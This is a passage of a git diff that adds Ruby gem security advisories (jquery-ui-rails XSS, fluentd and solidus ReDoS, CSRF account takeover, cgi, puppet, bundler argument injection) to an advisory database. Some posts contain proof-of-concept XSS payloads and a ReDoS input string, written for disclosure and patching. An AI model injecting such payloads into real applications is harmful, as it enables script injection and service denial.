+    - https://lists.debian.org/debian-lts-announce/2023/08/msg00040.html
+    - https://github.com/advisories/GHSA-9gj3-hwp5-pmwc
+    - https://github.com/jquery-ui-rails/jquery-ui-rails/commit/413265e81f790f795239e07e7e25e01429b2f18d
+---
diff --git a/advisories/_posts/2021-10-26-CVE-2021-41183.md b/advisories/_posts/2021-10-26-CVE-2021-41183.md
new file mode 100644
index 00000000..52e9d361
--- /dev/null
+++ b/advisories/_posts/2021-10-26-CVE-2021-41183.md
@@ -0,0 +1,81 @@
+---
+layout: advisory
+title: 'CVE-2021-41183 (jquery-ui-rails): XSS in `*Text` options of the Datepicker
+  widget in jquery-ui'
+comments: false
+categories:
+- jquery-ui-rails
+advisory:
+  gem: jquery-ui-rails
+  cve: 2021-41183
+  ghsa: j7qv-pgf6-hvh4
+  url: https://github.com/jquery/jquery-ui/security/advisories/GHSA-j7qv-pgf6-hvh4
+  title: XSS in `*Text` options of the Datepicker widget in jquery-ui
+  date: 2021-10-26
+  description: |
+    ### Impact
+    Accepting the value of various `*Text` options of the Datepicker
+    widget from untrusted sources may execute untrusted code. For example, initializing
+    the datepicker in the following way:
+    ```js
+    $("#datepicker").datepicker( {
+      showButtonPanel: true,
+      showOn: "both",
+      closeText: "<script>doEvilThing('closeText XSS')</script>",
+      currentText: "<script>doEvilThing('currentText XSS')</script>",
+      prevText: "<script>doEvilThing('prevText XSS')</script>",
+      nextText: "<script>doEvilThing('nextText XSS')</script>",
+      buttonText: "<script>doEvilThing('buttonText XSS')</script>",
+      appendText: "<script>doEvilThing('appendText XSS')</script>",
+      }
+    );
+    ```
+    will call `doEvilThing` with 6 different parameters coming from
+    all `*Text` options.
+
+    ### Patches
+    The issue is fixed in jQuery UI 1.13.0. The values passed to various
+    `*Text` options are now always treated as pure text, not HTML.
+
+    ### Workarounds
+    A workaround is to not accept the value of the `*Text` options from
+    untrusted sources.
+
+    ### For more information
+    If you have any questions or comments about this advisory, search
+    for a relevant issue in
+    [the jQuery UI repo](https://github.com/jquery/jquery-ui/issues).
+    If you don't find an answer, open a new issue.
+  cvss_v2: 4.3
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 7.0.0"
+  related:
+    url:
+    - https://github.com/jquery/jquery-ui/security/advisories/GHSA-j7qv-pgf6-hvh4
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-41183
+    - https://github.com/jquery/jquery-ui/pull/1953
+    - https://blog.jqueryui.com/2021/10/jquery-ui-1-13-0-released/
+    - https://bugs.jqueryui.com/ticket/15284
+    - https://security.netapp.com/advisory/ntap-20211118-0004/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NXIUUBRVLA4E7G7MMIKCEN75YN7UFERW/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/O74SXYY7RGXREQDQUDQD4BPJ4QQTD2XQ/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SNXA7XRKGINWSUIPIZ6ZBCTV6N3KSHES/
+    - https://lists.debian.org/debian-lts-announce/2022/01/msg00014.html
+    - https://www.drupal.org/sa-contrib-2022-004
+    - https://www.drupal.org/sa-core-2022-001
+    - https://www.drupal.org/sa-core-2022-002
+    - https://www.oracle.com/security-alerts/cpuapr2022.html
+    - https://www.tenable.com/security/tns-2022-09
+    - https://www.oracle.com/security-alerts/cpujul2022.html
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HVKIOWSXL2RF2ULNAP7PHESYCFSZIJE3/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SGSY236PYSFYIEBRGDERLA7OSY6D7XL4/
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.debian.org/debian-lts-announce/2023/08/msg00040.html
+    - https://github.com/advisories/GHSA-j7qv-pgf6-hvh4
+    - https://github.com/jquery-ui-rails/jquery-ui-rails/commit/413265e81f790f795239e07e7e25e01429b2f18d
+---
diff --git a/advisories/_posts/2021-10-26-CVE-2021-41184.md b/advisories/_posts/2021-10-26-CVE-2021-41184.md
new file mode 100644
index 00000000..351f38c3
--- /dev/null
+++ b/advisories/_posts/2021-10-26-CVE-2021-41184.md
@@ -0,0 +1,72 @@
+---
+layout: advisory
+title: 'CVE-2021-41184 (jquery-ui-rails): XSS in the `of` option of the `.position()`
+  util in jquery-ui'
+comments: false
+categories:
+- jquery-ui-rails
+advisory:
+  gem: jquery-ui-rails
+  cve: 2021-41184
+  ghsa: gpqq-952q-5327
+  url: https://github.com/jquery/jquery-ui/security/advisories/GHSA-gpqq-952q-5327
+  title: XSS in the `of` option of the `.position()` util in jquery-ui
+  date: 2021-10-26
+  description: |
+    ### Impact
+    Accepting the value of the `of` option of the
+    [`.position()`](https://api.jqueryui.com/position/)
+    util from untrusted sources may execute untrusted code. For example, invoking the
+    following code:
+    ```js
+    $("#element").position( {
+      my: "left top", at: "right bottom",
+      of: "<img onerror='doEvilThing()' src='/404' />",
+      collision: "none"
+    });
+    ```
+    will call the `doEvilThing()` function.
+
+    ### Patches
+    The issue is fixed in jQuery UI 1.13.0. Any string value passed to
+    the `of` option is now treated as a CSS selector.
+
+    ### Workarounds
+    A workaround is to not accept the value of the `of` option from
+    untrusted sources.
+
+    ### For more information
+    If you have any questions or comments about this advisory, search
+    for a relevant issue in
+    [the jQuery UI repo](https://github.com/jquery/jquery-ui/issues).
+
+    If you don't find an answer, open a new issue."
+  cvss_v2: 4.3
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 7.0.0"
+  related:
+    url:
+    - https://github.com/jquery/jquery-ui/security/advisories/GHSA-gpqq-952q-5327
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-41184
+    - https://github.com/jquery/jquery-ui/commit/effa323f1505f2ce7a324e4f429fa9032c72f280
+    - https://blog.jqueryui.com/2021/10/jquery-ui-1-13-0-released/
+    - https://security.netapp.com/advisory/ntap-20211118-0004/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NXIUUBRVLA4E7G7MMIKCEN75YN7UFERW/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/O74SXYY7RGXREQDQUDQD4BPJ4QQTD2XQ/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SNXA7XRKGINWSUIPIZ6ZBCTV6N3KSHES/
+    - https://www.drupal.org/sa-core-2022-001
+    - https://www.oracle.com/security-alerts/cpuapr2022.html
+    - https://www.tenable.com/security/tns-2022-09
+    - https://www.oracle.com/security-alerts/cpujul2022.html
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HVKIOWSXL2RF2ULNAP7PHESYCFSZIJE3/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SGSY236PYSFYIEBRGDERLA7OSY6D7XL4/
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.fedoraproject.org/archives/list/package-announce
+    - https://lists.debian.org/debian-lts-announce/2023/08/msg00040.html
+    - https://github.com/advisories/GHSA-gpqq-952q-5327
+    - https://github.com/jquery-ui-rails/jquery-ui-rails/commit/413265e81f790f795239e07e7e25e01429b2f18d
+---
diff --git a/advisories/_posts/2021-11-01-CVE-2021-41186.md b/advisories/_posts/2021-11-01-CVE-2021-41186.md
new file mode 100644
index 00000000..23de5f8e
--- /dev/null
+++ b/advisories/_posts/2021-11-01-CVE-2021-41186.md
@@ -0,0 +1,35 @@
+---
+layout: advisory
+title: 'CVE-2021-41186 (fluentd): ReDoS vulnerability in parser_apache2'
+comments: false
+categories:
+- fluentd
+advisory:
+  gem: fluentd
+  cve: 2021-41186
+  ghsa: hwhf-64mh-r662
+  url: https://github.com/fluent/fluentd/security/advisories/GHSA-hwhf-64mh-r662
+  title: ReDoS vulnerability in parser_apache2
+  date: 2021-11-01
+  description: |
+    ### Impact
+    parser_apache2 plugin in Fluentd v0.14.14 to v1.14.1 suffers from a regular expression denial of service (ReDoS) vulnerability. A broken apache log with a certain pattern of string can spend too much time in a regular expression, resulting in the potential for a DoS attack.
+
+    ### Patches
+    v1.14.2
+
+    ### Workarounds
+    Either of the following:
+
+    * Don't use parser_apache2 for parsing logs which cannot guarantee generated by Apache.
+    * Put patched version of parser_apache2.rb into /etc/fluent/plugin  directory (or any other directories specified by the environment variable `FLUENT_PLUGIN` or `--plugin` option of fluentd).
+  cvss_v3: 5.9
+  unaffected_versions:
+  - "< 0.14.14"
+  patched_versions:
+  - ">= 1.14.2"
+  related:
+    url:
+    - https://securitylab.github.com/advisories/GHSL-2021-102-fluent-fluentd/
+    - https://github.com/fluent/fluentd/blob/master/CHANGELOG.md#v1142
+---
diff --git a/advisories/_posts/2021-11-03-CVE-2021-25973.md b/advisories/_posts/2021-11-03-CVE-2021-25973.md
new file mode 100644
index 00000000..6b035904
--- /dev/null
+++ b/advisories/_posts/2021-11-03-CVE-2021-25973.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2021-25973 (publify_core): Improper Authorization in Publify'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2021-25973
+  ghsa: x24j-87x9-jvv5
+  url: https://github.com/publify/publify/commit/3447e0241e921b65f6eb1090453d8ea73e98387e
+  title: Improper Authorization in Publify
+  date: 2021-11-03
+  description: |
+    In Publify, 9.0.0.pre1 to 9.2.4 are vulnerable to Improper Access Control.
+    `guest` role users can self-register even when the admin does not allow.
+    This happens due to front-end restriction only.
+  cvss_v3: 6.5
+  unaffected_versions:
+  - "< 9.0.0.pre1"
+  patched_versions:
+  - ">= 9.2.5"
+  related:
+    url:
+    - https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25973
+---
diff --git a/advisories/_posts/2021-11-15-CVE-2021-41263.md b/advisories/_posts/2021-11-15-CVE-2021-41263.md
new file mode 100644
index 00000000..3583dbe4
--- /dev/null
+++ b/advisories/_posts/2021-11-15-CVE-2021-41263.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2021-41263 (rails_multisite): Secure/signed cookies share secrets between
+  sites in a multi-site application'
+comments: false
+categories:
+- rails_multisite
+advisory:
+  gem: rails_multisite
+  cve: 2021-41263
+  ghsa: 844m-cpr9-jcmh
+  url: https://github.com/discourse/rails_multisite/security/advisories/GHSA-844m-cpr9-jcmh
+  title: Secure/signed cookies share secrets between sites in a multi-site application
+  date: 2021-11-15
+  description: |
+    ### Impact
+    This vulnerability impacts any Rails applications using `rails_multisite` alongside Rails' signed/encrypted cookies. Depending on how the application makes use of these cookies, it may be possible for an attacker to re-use cookies on different 'sites' within a multi-site Rails application.
+
+    ### Patches
+    The issue has been patched in v4 of the `rails_multisite` gem. Note that this upgrade will invalidate all previous signed/encrypted cookies. The impact of this invalidation will vary based on the application architecture.
+  cvss_v3: 6.2
+  patched_versions:
+  - ">= 4.0.0"
+---
diff --git a/advisories/_posts/2021-11-15-CVE-2021-41817.md b/advisories/_posts/2021-11-15-CVE-2021-41817.md
new file mode 100644
index 00000000..d04fd363
--- /dev/null
+++ b/advisories/_posts/2021-11-15-CVE-2021-41817.md
@@ -0,0 +1,35 @@
+---
+layout: advisory
+title: 'CVE-2021-41817 (date): Regular Expression Denial of Service Vulnerability
+  of Date Parsing Methods'
+comments: false
+categories:
+- date
+advisory:
+  gem: date
+  cve: 2021-41817
+  ghsa: qg54-694p-wgpp
+  url: https://www.ruby-lang.org/en/news/2021/11/15/date-parsing-method-regexp-dos-cve-2021-41817/
+  title: Regular Expression Denial of Service Vulnerability of Date Parsing Methods
+  date: 2021-11-15
+  description: |
+    Date's parsing methods including `Date.parse` are using Regexps internally, some of
+    which are vulnerable against regular expression denial of service. Applications and
+    libraries that apply such methods to untrusted input may be affected.
+
+    The fix limits the input length up to 128 bytes by default instead of changing the
+    regexps. This is because Date gem uses many Regexps and it is possible that there are
+    still undiscovered vulnerable Regexps. For compatibility, it is allowed to remove the
+    limitation by explicitly passing `limit` keywords as `nil` like
+    `Date.parse(str, limit: nil)`, but note that it may take a long time to parse.
+
+    Please update the date gem to version 3.2.1, 3.1.2, 3.0.2, and 2.0.1, or later.  You
+    can use `gem update date` to update it.  If you are using bundler, please add
+    `gem "date", ">= 3.2.1"` to your `Gemfile`.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 2.0.1"
+  - "~> 3.0.2"
+  - "~> 3.1.2"
+  - ">= 3.2.1"
+---
diff --git a/advisories/_posts/2021-11-18-CVE-2021-41274.md b/advisories/_posts/2021-11-18-CVE-2021-41274.md
new file mode 100644
index 00000000..549641b3
--- /dev/null
+++ b/advisories/_posts/2021-11-18-CVE-2021-41274.md
@@ -0,0 +1,67 @@
+---
+layout: advisory
+title: 'CVE-2021-41274 (solidus_auth_devise): Authentication Bypass by CSRF Weakness'
+comments: false
+categories:
+- solidus_auth_devise
+advisory:
+  gem: solidus_auth_devise
+  cve: 2021-41274
+  ghsa: xm34-v85h-9pg2
+  url: https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2
+  title: Authentication Bypass by CSRF Weakness
+  date: 2021-11-18
+  description: |
+    ### Impact
+    CSRF vulnerability that allows user account takeover.
+
+    All applications using any version of the frontend component of `solidus_auth_devise`
+    are affected if `protect_from_forgery` method is both:
+    - Executed whether as:
+      - A `before_action` callback (the default)
+      - A `prepend_before_action` (option `prepend: true` given) before the
+        `:load_object` hook in `Spree::UserController` (most likely order to find).
+    - Configured to use `:null_session` or `:reset_session` strategies
+      (`:null_session` is the default in case the no strategy is given, but
+      `rails --new` generated skeleton use `:exception`).
+
+    That means that applications that haven't been configured differently from
+    what it's generated with Rails aren't affected.
+
+    ### Patches
+    Users should promptly update to `solidus_auth_devise` version `2.5.4`.
+
+    ### Workarounds
+    A couple of options:
+
+    - If possible, change your strategy to `:exception`:
+      ```ruby
+      class ApplicationController < ActionController::Base
+
+         protect_from_forgery with: :exception
+      end
+      ```
+
+    - Add the following to `config/application.rb` to at least run the `:exception`
+      strategy on the affected controller:
+      ```ruby
+      config.after_initialize do
+        Spree::UsersController.protect_from_forgery
+      with: :exception
+      end
+      ```
+
+    - We've also released new Solidus versions monkey patching `solidus_auth_devise`
+      with the quick fix. Those versions are `v3.1.3`, `v.3.0.3` & `v2.11.12`. See
+      [GHSA-5629-8855-gf4g](https://github.com/solidusio/solidus/security/advisories/GHSA-5629-8855-gf4g)
+      for details.
+
+    ### References
+    - [CSRF on the Rails guides](https://guides.rubyonrails.org/security.html#cross-site-request-forgery-csrf)
+    - [Solidus security](https://solidus.io/security/)
+  cvss_v3: 9.3
+  unaffected_versions:
+  - "< 1.0.0"
+  patched_versions:
+  - ">= 2.5.4"
+---
diff --git a/advisories/_posts/2021-11-18-CVE-2021-41275.md b/advisories/_posts/2021-11-18-CVE-2021-41275.md
new file mode 100644
index 00000000..890354ac
--- /dev/null
+++ b/advisories/_posts/2021-11-18-CVE-2021-41275.md
@@ -0,0 +1,73 @@
+---
+layout: advisory
+title: 'CVE-2021-41275 (spree_auth_devise): Authentication Bypass by CSRF Weakness'
+comments: false
+categories:
+- spree_auth_devise
+advisory:
+  gem: spree_auth_devise
+  cve: 2021-41275
+  ghsa: 26xx-m4q2-xhq8
+  url: https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2
+  title: Authentication Bypass by CSRF Weakness
+  date: 2021-11-18
+  description: |
+    ### Impact
+
+    CSRF vulnerability that allows user account takeover.
+
+    All applications using any version of the frontend component of `spree_auth_devise`
+    are affected if `protect_from_forgery` method is both:
+    * Executed whether as:
+      * A `before_action` callback (the default)
+      * A `prepend_before_action` (option `prepend: true` given) before the
+        `:load_object` hook in `Spree::UserController` (most likely order to find).
+    * Configured to use ``:null_session` or ``:reset_session` strategies
+      (``:null_session` is the default in case the no strategy is given, but `rails --new`
+      generated skeleton use ``:exception`).
+
+    That means that applications that haven't been configured differently from
+    what is generated with Rails aren't affected.
+
+    ### Patches
+
+    * Spree 4.3 users should update to `spree_auth_devise` 4.4.1
+    * Spree 4.2 users should update to `spree_auth_devise` 4.2.1
+    * Spree 4.1 users should update to `spree_auth_devise` 4.1.1
+    * Older Spree version users should update to `spree_auth_devise` 4.0.1
+
+    ### Workarounds
+
+    If possible, change your strategy to `:exception`:
+
+    ```ruby
+    class ApplicationController
+      < ActionController::Base
+      protect_from_forgery with: :exception
+    end
+    ```
+
+    Add the following to `config/application.rb` to at least run the `:exception`
+    strategy on the affected controller:
+
+    ```ruby
+    config.after_initialize do
+      Spree::UsersController.protect_from_forgery
+      with: :exception
+    end
+    ```
+  cvss_v3: 9.3
+  patched_versions:
+  - "~> 4.0.1"
+  - "~> 4.1.1"
+  - "~> 4.2.1"
+  - ">= 4.4.1"
+  related:
+    ghsa:
+    - xm34-v85h-9pg2
+    - gpqc-4pp7-5954
+    - 8xfw-5q82-3652
+    - 6mqr-q86q-6gwr
+    url:
+    - https://github.com/spree/spree_auth_devise/commit/adf6ed4cd94d66091776b5febd4ff3767362de63
+---
diff --git a/advisories/_posts/2021-11-18-GHSA-5629-8855-gf4g.md b/advisories/_posts/2021-11-18-GHSA-5629-8855-gf4g.md
new file mode 100644
index 00000000..c5d7139c
--- /dev/null
+++ b/advisories/_posts/2021-11-18-GHSA-5629-8855-gf4g.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'GHSA-5629-8855-gf4g (solidus_core): Authentication Bypass by CSRF Weakness'
+comments: false
+categories:
+- solidus_core
+advisory:
+  gem: solidus_core
+  ghsa: 5629-8855-gf4g
+  url: https://github.com/solidusio/solidus/security/advisories/GHSA-5629-8855-gf4g
+  title: Authentication Bypass by CSRF Weakness
+  date: 2021-11-18
+  description: |
+    ### Impact
+    The actual vulnerability has been discovered on `solidus_auth_devise`. See
+    [GHSA-xm34-v85h-9pg2](https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2)
+    for details.
+
+    The security advisory here exists to provide an extra layer of security in
+    the form of a monkey patch for users who don't update `solidus_auth_devise`.
+    For this reason, it has been marked as low impact on this end.
+
+    ### Patches
+    For extra security, update `solidus_core` to versions `3.1.3`, `3.0.3`, or
+    `2.11.12`.
+
+    ### Workarounds
+    Look at the workarounds described at
+    [GHSA-xm34-v85h-9pg2](https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2).
+  cvss_v3: 9.3
+  patched_versions:
+  - ">= 3.1.3"
+  - "~> 3.0.3"
+  - "~> 2.11.12"
+  related:
+    ghsa:
+    - xm34-v85h-9pg2
+---
diff --git a/advisories/_posts/2021-11-24-CVE-2021-41816.md b/advisories/_posts/2021-11-24-CVE-2021-41816.md
new file mode 100644
index 00000000..82901033
--- /dev/null
+++ b/advisories/_posts/2021-11-24-CVE-2021-41816.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2021-41816 (cgi): Buffer Overrun in CGI.escape_html'
+comments: false
+categories:
+- cgi
+advisory:
+  gem: cgi
+  cve: 2021-41816
+  ghsa: 5cqm-crxm-6qpv
+  url: https://www.ruby-lang.org/en/news/2021/11/24/buffer-overrun-in-cgi-escape_html-cve-2021-41816/
+  title: Buffer Overrun in CGI.escape_html
+  date: 2021-11-24
+  description: |
+    A security vulnerability that causes buffer overflow when you pass a very large
+    string (> 700 MB) to `CGI.escape_html` on a platform where `long` type takes 4 bytes,
+    typically, Windows.
+
+    Please update the cgi gem to version 0.3.1, 0.2.1, and 0.1.1 or later. You can use
+    `gem update cgi` to update it. If you are using bundler, please add `gem "cgi",
+    ">= 0.3.1"` to your `Gemfile`. Alternatively, please update Ruby to 2.7.5 or 3.0.3.
+
+    This issue has been introduced since Ruby 2.7, so the cgi version bundled with Ruby
+    2.6 is not vulnerable.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 0.1.0.1"
+  - "~> 0.1.1"
+  - "~> 0.2.1"
+  - ">= 0.3.1"
+---
diff --git a/advisories/_posts/2021-11-24-CVE-2021-41819.md b/advisories/_posts/2021-11-24-CVE-2021-41819.md
new file mode 100644
index 00000000..0c44b6c8
--- /dev/null
+++ b/advisories/_posts/2021-11-24-CVE-2021-41819.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2021-41819 (cgi): Cookie Prefix Spoofing in CGI::Cookie.parse'
+comments: false
+categories:
+- cgi
+advisory:
+  gem: cgi
+  cve: 2021-41819
+  ghsa: 4vf4-qmvg-mh7h
+  url: https://www.ruby-lang.org/en/news/2021/11/24/cookie-prefix-spoofing-in-cgi-cookie-parse-cve-2021-41819/
+  title: Cookie Prefix Spoofing in CGI::Cookie.parse
+  date: 2021-11-24
+  description: |
+    The old versions of `CGI::Cookie.parse` applied URL decoding to cookie names.
+    An attacker could exploit this vulnerability to spoof security prefixes in
+    cookie names, which may be able to trick a vulnerable application.
+
+    By this fix, `CGI::Cookie.parse` no longer decodes cookie names. Note that
+    this is an incompatibility if cookie names that you are using include
+    non-alphanumeric characters that are URL-encoded.
+
+    This is the same issue of CVE-2020-8184.
+
+    If you are using Ruby 2.7 or 3.0:
+
+    * Please update the cgi gem to version 0.3.1, 0.2,1, and 0.1,1 or later. You
+      can use `gem update cgi` to update it. If you are using bundler, please add
+      `gem "cgi", ">= 0.3.1"`` to your `Gemfile`.
+    * Alternatively, please update Ruby to 2.7.5 or 3.0.3.
+
+    If you are using Ruby 2.6:
+
+    * Please update Ruby to 2.6.9. You cannot use `gem update cgi` for Ruby 2.6 or
+      prior.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 0.1.0.1"
+  - "~> 0.1.1"
+  - "~> 0.2.1"
+  - ">= 0.3.1"
+  related:
+    cve:
+    - 2020-8184
+---
diff --git a/advisories/_posts/2021-12-02-CVE-2021-27023.md b/advisories/_posts/2021-12-02-CVE-2021-27023.md
new file mode 100644
index 00000000..45401c89
--- /dev/null
+++ b/advisories/_posts/2021-12-02-CVE-2021-27023.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2021-27023 (puppet): Unsafe HTTP Redirect in Puppet Agent and Puppet Server'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2021-27023
+  ghsa: 93j5-g845-9wqp
+  url: https://puppet.com/security/cve/CVE-2021-27023
+  title: Unsafe HTTP Redirect in Puppet Agent and Puppet Server
+  date: 2021-12-02
+  description: |
+    A flaw was discovered in Puppet Agent and Puppet Server that may result
+    in a leak of HTTP credentials when following HTTP redirects to a different host.
+    This is similar to CVE-2018-1000007
+  cvss_v3: 6.5
+  patched_versions:
+  - "~> 6.25.1"
+  - ">= 7.12.1"
+  related:
+    cve:
+    - 2018-1000007
+---
diff --git a/advisories/_posts/2021-12-02-CVE-2021-27025.md b/advisories/_posts/2021-12-02-CVE-2021-27025.md
new file mode 100644
index 00000000..24b5f128
--- /dev/null
+++ b/advisories/_posts/2021-12-02-CVE-2021-27025.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2021-27025 (puppet): Silent Configuration Failure in Puppet Agent'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2021-27025
+  ghsa: q4g7-jrxv-67r9
+  url: https://puppet.com/security/cve/cve-2021-27025
+  title: Silent Configuration Failure in Puppet Agent
+  date: 2021-12-02
+  description: |
+    A flaw was discovered in Puppet Agent where the agent may silently ignore
+    Augeas settings or may be vulnerable to a Denial of Service condition prior to the
+    first 'pluginsync'.
+  cvss_v3: 6.5
+  patched_versions:
+  - "~> 6.25.1"
+  - ">= 7.12.1"
+---
diff --git a/advisories/_posts/2021-12-07-CVE-2021-43805.md b/advisories/_posts/2021-12-07-CVE-2021-43805.md
new file mode 100644
index 00000000..eab8bc0a
--- /dev/null
+++ b/advisories/_posts/2021-12-07-CVE-2021-43805.md
@@ -0,0 +1,72 @@
+---
+layout: advisory
+title: 'CVE-2021-43805 (solidus_core): ReDos vulnerability on guest checkout email
+  validation'
+comments: false
+categories:
+- solidus_core
+advisory:
+  gem: solidus_core
+  cve: 2021-43805
+  ghsa: qxmr-qxh6-2cc9
+  url: https://github.com/solidusio/solidus/security/advisories/GHSA-qxmr-qxh6-2cc9
+  title: ReDos vulnerability on guest checkout email validation
+  date: 2021-12-07
+  description: |
+    ### Impact
+    Denial of service vulnerability that could be exploited during a guest checkout.
+    The regular expression used to validate a guest order's email was subject to
+    exponential backtracking through a fragment like `a.a.`.
+
+    Before the patch, it can be reproduced in the console like this:
+
+    ```ruby
+    irb(main)> Spree::EmailValidator::EMAIL_REGEXP.match "a@a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.@"
+    processing time: 54.293660s
+    => nil
+    ```
+
+    To reproduce in the browser, fill in the "Customer Email" field with that fake
+    email address during a guest checkout. Before that, you should open the browser
+    dev tools and change the `type` attribute for that field from `email` to `text`.
+    After entering a fake address and pressing the "Save & Continue" button, the
+    browser will take a long term to perform the request before showing an error
+    message for the invalid address. Eventually, making the email string even longer
+    could lead to the exhaustion of server resources.
+
+    ### Patches
+    Versions 3.1.4, 3.0.4, and 2.11.13 have been patched to use a different regular
+    expression.
+
+    There's an improbable chance that some orders in your system end up having
+    associated an email address that is no longer valid. We've added a task to check
+    precisely that:
+
+    ```bash
+    bin/rails solidus:check_orders_with_invalid_email
+    ```
+
+    The above will print information for every affected order if any.
+
+    ### Workarounds
+
+    If a prompt upgrade is not an option, please, add the following to
+    `config/application.rb`:
+
+    ```ruby
+    config.after_initialize do
+      Spree::EmailValidator.send(:remove_const, :EMAIL_REGEXP)
+      Spree::EmailValidator::EMAIL_REGEXP = URI::MailTo::EMAIL_REGEXP
+    end
+    ```
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 2.11.13"
+  - "~> 3.0.4"
+  - ">= 3.1.4"
+  related:
+    url:
+    - https://github.com/solidusio/solidus/commit/6be174c955fad84017ca67589c676526bc5ade71
+    - https://en.wikipedia.org/wiki/ReDoS
+    - https://snyk.io/blog/redos-and-catastrophic-backtracking/
+---
diff --git a/advisories/_posts/2021-12-08-CVE-2021-28680.md b/advisories/_posts/2021-12-08-CVE-2021-28680.md
new file mode 100644
index 00000000..23ed8b90
--- /dev/null
+++ b/advisories/_posts/2021-12-08-CVE-2021-28680.md
@@ -0,0 +1,35 @@
+---
+layout: advisory
+title: 'CVE-2021-28680 (devise_masquerade): Improper Privilege Management in devise_masquerade'
+comments: false
+categories:
+- devise_masquerade
+advisory:
+  gem: devise_masquerade
+  cve: 2021-28680
+  ghsa: 25f5-gc4h-hc22
+  url: https://github.com/oivoodoo/devise_masquerade/issues/83
+  title: Improper Privilege Management in devise_masquerade
+  date: 2021-12-08
+  description: |
+    The devise_masquerade gem before 1.3 allows certain attacks when a password's
+    salt is unknown. An application that uses this gem to let administrators masquerade/impersonate
+    users loses one layer of security protection compared to a situation where Devise
+    (without this extension) is used. If the server-side secret_key_base value became
+    publicly known (for instance if it is committed to a public repository by mistake),
+    there are still other protections in place that prevent an attacker from impersonating
+    any user on the site. When masquerading is not used in a plain Devise application,
+    one must know the password salt of the target user if one wants to encrypt and sign
+    a valid session cookie. When devise_masquerade is used, however, an attacker can
+    decide which user the "back" action will go back to without knowing that user's
+    password salt and simply knowing the user ID, by manipulating the session cookie
+    and pretending that a user is already masqueraded by an administrator.
+  cvss_v3: 8.1
+  patched_versions:
+  - ">= 1.3.1"
+  related:
+    url:
+    - https://labanskoller.se/blog/2021/03/23/the-devise-extension-that-peeled-off-one-layer-of-the-security-onion-cve-2021-28680/
+    - https://github.com/oivoodoo/devise_masquerade/pull/76
+    - https://github.com/oivoodoo/devise_masquerade/releases/tag/v1.3.1
+---
diff --git a/advisories/_posts/2021-12-08-CVE-2021-43809.md b/advisories/_posts/2021-12-08-CVE-2021-43809.md
new file mode 100644
index 00000000..1777d22f
--- /dev/null
+++ b/advisories/_posts/2021-12-08-CVE-2021-43809.md
@@ -0,0 +1,78 @@
+---
+layout: advisory
+title: 'CVE-2021-43809 (bundler): Local Code Execution through Argument Injection
+  via dash leading git url parameter in Gemfile'
+comments: false
+categories:
+- bundler
+advisory:
+  gem: bundler
+  cve: 2021-43809
+  ghsa: fj7f-vq84-fh43
+  url: https://github.com/rubygems/rubygems/security/advisories/GHSA-fj7f-vq84-fh43
+  title: Local Code Execution through Argument Injection via dash leading git url
+    parameter in Gemfile
+  date: 2021-12-08
+  description: |
+    In `bundler` versions before 2.2.33, when working with untrusted and apparently harmless
+    `Gemfile`'s, it is not expected that they lead to execution of external code, unless
+    that's explicit in the ruby code inside the `Gemfile` itself. However, if the `Gemfile`
+    includes `gem` entries that use the `git` option with invalid, but seemingly harmless,
+    values with a leading dash, this can be false.
+
+    To handle dependencies that come from a Git repository instead of a registry, Bundler
+    uses various commands, such as `git clone`. These commands are being constructed using
+    user input (e.g. the repository URL). When building the commands, Bundler versions
+    before 2.2.33 correctly avoid Command Injection vulnerabilities by passing an array of
+    arguments instead of a command string. However, there is the possibility that a user
+    input starts with a dash (`-`) and is therefore treated as an optional argument instead
+    of a positional one. This can lead to Code Execution because some of the commands have
+    options that can be leveraged to run arbitrary executables.
+
+    Since this value comes from the `Gemfile` file, it can contain any character, including
+    a leading dash.
+
+    ### Exploitation
+
